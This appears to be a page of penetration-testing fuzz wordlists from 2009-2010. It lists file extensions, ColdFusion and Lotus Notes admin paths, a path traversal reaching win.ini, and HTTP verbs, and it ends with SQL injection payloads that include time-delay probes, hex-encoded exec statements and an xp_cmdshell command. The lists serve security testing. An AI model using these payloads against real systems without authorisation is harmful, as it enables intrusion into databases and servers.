(Update: 16 March 2010 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> 